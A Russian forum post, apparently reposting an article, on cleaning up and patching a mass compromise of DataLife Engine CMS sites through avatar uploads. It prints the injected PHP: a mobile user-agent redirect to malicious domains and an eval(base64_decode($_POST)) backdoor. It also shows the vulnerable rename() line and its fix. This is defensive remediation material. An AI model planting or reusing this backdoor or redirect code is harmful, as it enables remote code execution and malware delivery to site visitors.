Бормотухи.НЕТ

Вернуться   Бормотухи.НЕТ > Web-мастеру > DataLife Engine > Инструкции, модификации и статьи для DLE
Расширенный поиск

Инструкции, модификации и статьи для DLE Сборник инструкции, модов и статей по движку DataLife Engine

Ответ
 
Опции темы Поиск в этой теме
Старый 26.11.2013, 07:03 Вверх   #1
Коварный тип
 
Аватар для Serberg
Serberg вне форума
Доп. информация
Лампочка Взлом DLE загрузкой аватара с вредоносным кодом. Как с этим боротся?

Взлом DLE загрузкой аватара с вредоносным кодом. Как с этим боротся?

источник статьи

Много лет в известном всем движке CMS DLE существовала уязвимость и никто на нее не обращал внимание. Но вот в начале этого года примерно с 6 января, видимо устав от празднования Нового года, хакер под псевдонимом tehApocalypse взломал несколько десятков тысяч сайтов на CMS DLE. В том числе пострадал собственно и наш сайт. В этой статье, я расскажу как закрыть дырку и удалить весь вредоносный код с ваших движков.

Хочу отметить тот факт что уязвимы абсолютно все версии DLE в том числе и DLE 9.7, про DLE 9.8 не скажу, не проверял. Патч безопасности от этого вас не спасет, это немножко другое.

В чем заключается взлом?
Взлом заключался во внедрении кода в несколько файлов DLE для перенаправления посетителей зараженных сайтов на сайт злоумышленника, переадресация действует только на мобильные телефоны, планшеты и т.д. Скажем вы заходите на зараженный сайт с телефона на OS Android тут же вам будет предложено скачать apk приложение, мол необходимо обновить ваш "интернет браузер" (иконка будет как в Google Chrome ), после установки приложения, ваш телефон будет инфицирован смс вирусом, который будет отправлять смс и снимать деньги с вашего баланса.

Если же вы уже скачали приложение, то не в коем случае не устанавливайте его!

Почему на это стоит обратить внимание?
Я предоставлю несколько фактов и вы дальше сами решите, тратите вы свое время или нет.
1) Яндекс может посчитать вас распространителем вирусных программ, соучастниками мошенников и т.д. Никто "царимоница" не будет, сразу попадете в бан.
2) Вы теряете посещаемость вашего сайта, люди которые заходят к примеру с мобильного не попадают на ваш сайт и вы теряете посетителей.
3) В вашем сайте дыра, только это уже говорит о том, что нужно действовать.

Какие файлы чаще всего подвержены заражению?
В основном заражению подлежат вот эти файлы:

index.php
engine/engine.php
engine/init.php
engine/data/config.php
engine/data/dbconfig.php


Но это не исключение, у меня например еще был заражен и language/Russian/website.lng, что очень меня удивило, так как я перекопал весь движок, но так и не смог найти вредоносный код, а редирект на вредоносный сайт так и оставался. Представляете моё удивление после обнаружение кода в папке language?

Приступим!

Находим и аккуратненько удаляем вот этот код из вышеперечисленных файлов (желательно сверятся с чистым движком, да бы не удалить лишнего):

Код:
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
 
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}
Кстати ещё один важен момент, этот код может дублироваться в нескольких местах, будьте внимательны.

Так же возможен вот такой вариант вредоносного кода:

Код:
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://live-internet.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));
if (strpos($_SERVER['HTTP_USER_AGENT'],"iPhone") || strpos($_SERVER['HTTP_USER_AGENT'],"Android") || strpos($_SERVER['HTTP_USER_AGENT'],"webOS") || strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry") || strpos($_SERVER['HTTP_USER_AGENT'],"iPod")) header('Location: http://getinternet.ws/');
if(!empty($_POST['update'])) eval(base64_decode($_POST['update']));
Удаляем его нафиг. Код мы почистили, но теперь осталась дыра, которую нужно залатать.

Как эта дрянь попала на мой сайт?
Очень просто, в нескольких файлах, в которых мы можем редактировать профиль пользователя и загружать аватар для этого пользователя есть такой код:

Код:
if( $thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] ) ) {
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
} else {
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
}
Так вот все дело в этой строчке:

Код:
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
Т.е. если аватар не надо изменять по размеру то исходный инжектированный файл копируется в первоначальном виде для дальнейшего использования.

Латаем дыру

Дыра сразу в трех файлах а именно в:

engine/inc/editusers.php
engine/modules/register.php
engine/modules/profile.php


Находим в них строку:

Код:
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
Заменяем на:

Код:
$thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] );
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
Все теперь загрузить аватар с вредоносным кодом будет невозможно.

Рекомендую удалить все аватарки с папки uploads/fotos, так на всякий случай.

tehApocalypse - заходим в админку ищем его и баним, по ip и т.д, опять же на всякий случай.

Все теперь, не забывайте хотя бы раз в месяц проверять свои сайты на наличие вредоносного кода, мало ли я что-то упустил.

"Я все сделал по инструкции, а у меня не пропала переадрисация, что делать?"

1) Убедится что вы не пропустили вредоносный код, как я уже говорил он может дублироваться в одном файле несколько раз.
2) Возможно вредоносный код записан еще в какие-то другие фалы, проверьте все файлы движка на наличее таких ссылок:
statuses.ws
live-internet.ws
getinternet.ws

Если такие имеются удаляйте их вместе с вредоносным кодом.
3) Если и это не помогло, значит у вас другие ссылки, другой вредоносный код и т.д.

П.С. - Рекомендую всем владельцам CMS DLE сделать эту небольшую проверку, возможно вы тоже подверглись взлому.
  Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Текущее время: 21:09. Часовой пояс GMT +3.


Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2024, vBulletin Solutions, Inc. Перевод: zCarot
 

Время генерации страницы 0.07422 секунды с 13 запросами